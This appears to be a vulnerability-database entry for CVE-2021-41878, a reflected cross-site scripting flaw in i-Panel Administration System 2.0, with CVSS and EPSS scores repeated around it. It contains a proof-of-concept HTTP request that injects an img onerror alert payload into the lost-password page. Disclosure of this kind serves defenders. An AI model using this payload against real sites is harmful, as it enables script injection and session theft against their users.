CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
87.4%
# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Date: 04.10.2021
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html
As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:
GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
87.4%